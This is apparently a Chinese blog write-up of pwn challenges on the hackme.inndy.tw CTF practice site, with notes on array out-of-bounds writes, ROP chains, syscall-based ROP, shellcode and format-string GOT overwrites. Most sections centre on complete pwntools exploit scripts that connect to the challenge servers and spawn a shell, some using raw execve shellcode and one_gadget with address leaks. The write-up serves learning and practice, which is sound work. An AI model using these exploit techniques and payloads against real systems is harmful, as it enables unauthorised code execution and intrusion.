hackme.inndy.tw pwn

catflag

直接nc过去就是shell

homework

题目提示是数组越界,之前没有接触过这一方面的知识,所以就借这道题目学习一下,认真的做个笔记~

前置知识

我们声明一个数组int a[10],他在内存中是这样子的。

enter image description here

定义了大小为10的int型数组,如果函数没有检查下标,是不是可以访问内存中其它的值呢?我写一个简单的程序去验证一下~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
int main(void){
int i,a[10];
int index;
for(i=0;i<=9;i++)
a[i]=i;
while(1){
printf("%s\n", "please enter index");
scanf("%d",&index);
printf("a[%d] is %d\n", index,a[index]);

}
return 0;
}

enter image description here

gcc编译运行,可以看到结果和我们设想的一样,如果没有限制数组的下标的话就能读取其它内存的数据,会以10进制的格式输出。

enter image description here

Idea

有了上面的铺垫,这道题就很好解决了,首先拖到ida里分析一下逻辑。在case1中我们可以控制指定数组索引的内容并且数组索引可控。

enter image description here

在程序中还找到了/bin/sh,所以直接做ret2text,修改eip为system(‘/bin/sh’)的地址,程序ret时返回一个shell。

enter image description here

计算修改索引的位置

arr距离ebp有0x34,ebp占4个字节,ret addr占4个字节

0x34+0x4+0x4 / 0x4 == 15

enter image description here

gdb调试

我们选择索引为14的位置,并且写入A,这里因为程序只能以%d的格式输入,所以第一次输入A的时候发现程序一直走不到ret。。这里输入的时候以ascii码65来代替。

enter image description here

enter image description here

enter image description here

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *


target = remote('hackme.inndy.tw',7701)
target.recvuntil('your name')
target.sendline('carl')
target.recvuntil('>')
target.sendline('1')
addr_sys = 0x08048604
target.recvuntil('Index to edit:')
target.sendline('14')
target.recvuntil('How many?')
target.sendline(str(addr_sys))
target.recvuntil('>')
target.sendline('0')
gdb.attach(target,'b *0x0804888a')
target.interactive()

enter image description here

rop

1
2
3
4
5
6
int overflow()
{
char v1; // [esp+Ch] [ebp-Ch]

return gets(&v1);
}

逻辑很简单,保护方面只有nx,ret2shellcode不行了,很明显要做rop,先看看有没现成的gadget。

1
ROPgadget --binary ./rop --ropchain

enter image description here

有现成的gadget可以组成ropchain,那问题就变得简单。溢出到ropchain就可以了。

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
from struct import pack

target = remote('hackme.inndy.tw',7704)

p = ''
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80


padding = 'a' * 16

payload = ''
payload += padding
payload += p
target.sendline(payload)
target.interactive()

rop2

这道题很有意思,总共花费了2天时间。get到不少新知识,让我重新对栈有了更加深刻的认识 主要是菜。m4x师傅的思路给了我很大的帮助。

首先看一下程序的逻辑,和上一题一样,漏洞函数很明显的命名为overflow。于之前不同的是,这里用system call来调用的函数。

1
2
3
4
5
6
7
int overflow()
{
char v1; // [esp+Ch] [ebp-Ch]

syscall(3, 0, &v1, 1024);
return syscall(4, 1, &v1, 1024);
}

一些基本知识

system call

_syscall0( ret-type, func-name )
_syscall1( ret-type, func-name, arg1-type, arg1-name )
_syscall2( ret-type, func-name, arg1-type, arg1-name, arg2-type, arg2-name )

_syscall宏最多可定义 6 个参数,这里就举出3个。比如说函数中的这句话 syscall(3, 0, &v1, 1024);意思就是read(0,&v1,1024);linux有个系统调用表,linux-x86系统调用表。可以通过这张表知道系统调用了什么函数。

堆栈平衡

为什么要堆栈平衡?因为当程序流程进入函数时,要保存现场,就是当前的寄存器状态,当子程序执行完成过后,在恢复现场,继续执行调用函数后的流程。

X86在调用函数的时候传递在参数是从栈中取出的,需要哪些参数提前按一定顺序入栈即可。第一个出栈的就对应第一个参数,依次类推。函数返回值存在eax中。

idea

通过溢出来劫持eip,劫持后通过syscall构造一个read,把/bin/sh写到bss段,在利用syscall获取一个shell。很简单是吧,但是里面有很多坑需要踩。

首先第一次构造read执行完成后发现自己的gadget不能正常返回。百思不解,最后发现系统中编译好的程序在执行完read或者write后,都有一个add esp,0x10这个操作。

enter image description here

事出有妖必有蹊跷,掏出鸡得必看看咋回事。在调试的过程中,发现了如果没有add esp,0x10 栈就没有办法恢复成之前的样子。因为在ret后,所有的程式都是我们自己构造的,不是程式自己的逻辑。所以堆栈需要我们自己维护。

在我们的payload中,第一次system call后,参数还在栈中。这个system call执行的时候是4个参数所以push了4次,所以我们要找到等价的add esp,0x10,为了我们payload中第二次执行system call找到的参数正确。而这个gadget怎么找呢?

1
ROPgadget --binary ./rop2 --only 'pop|ret'

enter image description here

这样就找到了pop4ret的gadget了。

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])

target = remote('hackme.inndy.tw',7703)
elf = ELF('./rop2')
addr_bss = elf.bss()
addr_sys = elf.symbols['syscall']
addr_gadget = 0x08048578
payload = ''
payload = fit({0xc + 0x4:[p32(addr_sys),p32(addr_gadget),p32(3),p32(0),p32(addr_bss),p32(30)]})
payload += fit({0x0:[p32(addr_sys),p32(0xdeadbeef),p32(11),p32(addr_bss),p32(0),p32(0)]})
target.sendlineafter('your ropchain:',payload)
target.send('/bin/sh\x00')
target.interactive()

toooomuch

利用二分法猜几个数字就可以拿到flag

toooomuch-2

这道题什么保护都没有开,所以玩法就多了。有两种解法:一种是把shellcode写到bss段上然后返回到bss段执行,另一种是直接把system执行用到的参数写到bss段,因为程序里面有system函数,可以溢出到system函数的地址,然后布置参数。

程序关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int toooomuch()
{
int result; // eax
char s; // [esp+0h] [ebp-18h]

printf("Give me your passcode: ");
gets(&s);
strcpy(passcode, &s);
if ( check_passcode() )
result = play_a_game();
else
result = puts("You are not allowed here!");
return result;
}

解法一

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])
target = remote('hackme.inndy.tw', 7702)
elf = ELF('./toooomuch')
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
payload = fit({0x1c:[p32(elf.plt['gets']),p32(elf.bss()),p32(elf.bss())]})
target.sendlineafter('your passcode: ',payload)
target.sendline(shellcode)
target.interactive()

解法二

1
2
3
4
5
6
7
8
9
10
#coding:utf-8
from pwn import *
context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])
target = remote('hackme.inndy.tw', 7702)
elf = ELF('./toooomuch')
payload = '/bin/sh\x00' + 'a' * 20 + p32(elf.symbols['system'])
payload += p32(0xdeadbeef)
payload += p32(elf.symbols['passcode'])
target.sendlineafter('your passcode: ',payload)
target.interactive()

在/bin/sh后加\x00,是为了截断输入。否则system会把后面的输入当成是/bin/sh的参数,还可以使用&&来作截断符。

system函数的调用方法是:调用地址 + 返回地址 + 参数地址,按照这个顺序布置就好了。

echo

很基础的格式化字符串漏洞,测试发现偏移在7的位置,直接用pwntools的fmt工具打一波就好了。把printf的got表覆盖为system的plt,然后再第二次输入的时候把参数写到栈里就行了。

enter image description here

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])
target = remote('hackme.inndy.tw', 7711)
elf = ELF('./echo')
plt_sys = elf.symbols['system']
got_printf = elf.got['printf']
payload = fmtstr_payload(7,{got_printf:plt_sys})
target.sendline(payload)
target.recvuntil('\n')
target.sendline('/bin/sh\x00')
target.interactive()

手工脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])
target = remote('hackme.inndy.tw', 7711)
elf = ELF('./echo')
plt_sys = elf.symbols['system']
got_printf = elf.got['printf']
print hex(plt_sys) #0x8048400
print hex(got_printf) #0x804a010

payload = p32(got_printf)
payload += p32(got_printf + 1)
payload += p32(got_printf + 2)
payload += p32(got_printf + 3)
payload += '%'
payload += str(0x100 - 0x10)
payload += 'c%7$hhn'
payload += '%'
payload += str(0x84)
payload += 'c%8$hhn'
payload += '%'
payload += str(0x104 - 0x84)
payload += 'c%9$hhn'
payload += '%'
payload += str(0x108 - 0x104)
payload += 'c%10$hhn'
# print payload

# payload2 = fmtstr_payload(7,{got_printf:plt_sys})
# print payload2
target.sendline(payload)
target.recvuntil('\n')
target.sendline('/bin/sh\x00')
target.interactive()

smashthestack

之前网鼎杯玩过一个x64的ssp,这边有个x32的,对比一下还是比64位的简单一些。总体思路是一样,都是通过栈溢出到__libc_argv[0]这个位置然后把我们想要输出的东西输出。这次flag直接在bss段的,所以不用泄漏什么地址,计算好偏移直接打就可以了。

enter image description here

1
2
3
4
5
6
7
8
9
from pwn import *

context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])
target = remote('hackme.inndy.tw', 7717)

payload = 'a' * 188 + p32(0x0804A060)

target.sendlineafter('Try to read the flag\n',payload)
target.interactive()

echo2

这道题也蛮有意思的,get到不少新东西 主要是菜呀 xd。然后重新学习了一下fmt的手工生成payload方法,过后会重新写一篇关于学习过程的文章。

1
2
3
4
5
6
7
~/Desktop  checksec echo2                                                                       
[*] '/Users/carlstar/Desktop/echo2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void __noreturn echo()
{
char s; // [rsp+0h] [rbp-110h]
unsigned __int64 v1; // [rsp+108h] [rbp-8h]

v1 = __readfsqword(0x28u);
do
{
fgets(&s, 256, stdin);
printf(&s, 256LL);
}
while ( strcmp(&s, "exit\n") );
system("echo Goodbye");
exit(0);
}

先来说说坑在哪里吧:拖到ida里发现和echo的逻辑差不多,都是格式化字符串的洞。

1、64位的程序意味着pwntools生成的fmt payload不能使用了,因为自动生成的payload覆盖地址是放在前面的,如果地址中有\x00 的话会被当成printf时候的截断符,这样我们就无法通过printf时往内存写入数据了

2、程序开启了pie,这意味着我们在本地获取到的got表只是偏移,想要获取到真正的got表必须泄漏出elf的基址

我们先来看一下 在echo中自动生成的payload长什么样,解决坑点一的话我们可以手工来写fmt payload。

enter image description here

把程序本地跑起来调试一下,在printf时下一个断点,看看栈里面有什么可以利用的信息。可以通过泄漏__libc_start_main+240main+74 这两个函数来分别获取 libc_baseelf_base 因为我们输入的参数的偏移在6处,所以这两个函数的偏移分别是41和43。

enter image description here

有了信息泄漏,我们就可以确定服务器libc所用的版本,泄漏exit的got,然后通过one_gadget来覆写exit的got表获得一个shell。

Libc_base = __libc_start_main - 0xf0 - 0x20740

Elf_base = main+74 - 0xa03

exit_got = elf_base + elf.got[‘exit’]

0xf0是240的16进制,这个偏移在调试中可以看到,因为题目给了libc,所以我们直接把libc中的libc_start_main这个函数的偏移本地加载出来,然后就可以算出libc的基址了。

elf的基址可以通过vmmap来对比看出偏移是0xa03。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555554000 0x555555555000 r-xp 1000 0 /home/carlstar/Desktop/echo2
0x555555754000 0x555555755000 r--p 1000 0 /home/carlstar/Desktop/echo2
0x555555755000 0x555555756000 rw-p 1000 1000 /home/carlstar/Desktop/echo2
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0
0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7fdb000 0x7ffff7fde000 rw-p 3000 0
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]

然后就是找一下one_gadget了,推荐一款找one_gadget的工具one_gadget

enter image description here

大概介绍一下怎么使用,知道libc的版本后可以使用它来查看libc中可以执行 execve(“/bin/sh”) 的偏移。就是libc的基址加上这个偏移就可以获得一个shell。但是也有限制条件,就是constraints中的条件必须满足。在远程调试中发现0xf0897这个偏移可以使用。

再说一下生成fmt payload一些需要注意的地方。不能直接 % + str(one_gadget) + c%k$n 这样子写入,本地可能还可以,远程的话一次写入这么大的数据极大可能因为网络问题写入失败。所以我们可以使用hhn来一字节的写入,用6次来写完,这样的话就大大减少了写入的字节数。由于我们把覆盖的地址放到了payload后面,所以偏移就不是6了,相应的改为8,每轮的payload必须是所覆盖地址的整数倍。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
#context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])


def leak_addr(target,arg):
payload = arg
target.sendline(payload)
res = target.recvuntil('\n')
return int(res,16)



def fmt(target,got,magic):
for i in range(6):
payload = "%{}c%8$hhn".format(magic&0xff).ljust(16,'6')
payload += p64(got + i)
target.sendline(payload)
magic = magic >> 8


def main():
target = remote('hackme.inndy.tw', 7712)
addr_elf = leak_addr(target,'%41$p') - 0xa03
addr_libc = leak_addr(target,'%43$p') - 0xf0 - 0x20740
elf = ELF('./echo2')
offset_exit_got = elf.got['exit']
exit_got = offset_exit_got + addr_elf
one_gadget = 0xf0897
addr_one_gadget = addr_libc + one_gadget
fmt(target,exit_got,addr_one_gadget)
log.success('address_elf: ' + hex(addr_elf))
log.success('address_libc: ' + hex(addr_libc))
log.success('exit_got: ' + hex(exit_got))
log.info('---sending exit to getshell---')
target.sendline('exit')
target.interactive()

if __name__ == '__main__':
main()

enter image description here

文章作者: Carl Star
文章链接: http://carlstar.club/2018/10/24/hackme.inndy.tw-pwn/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hexo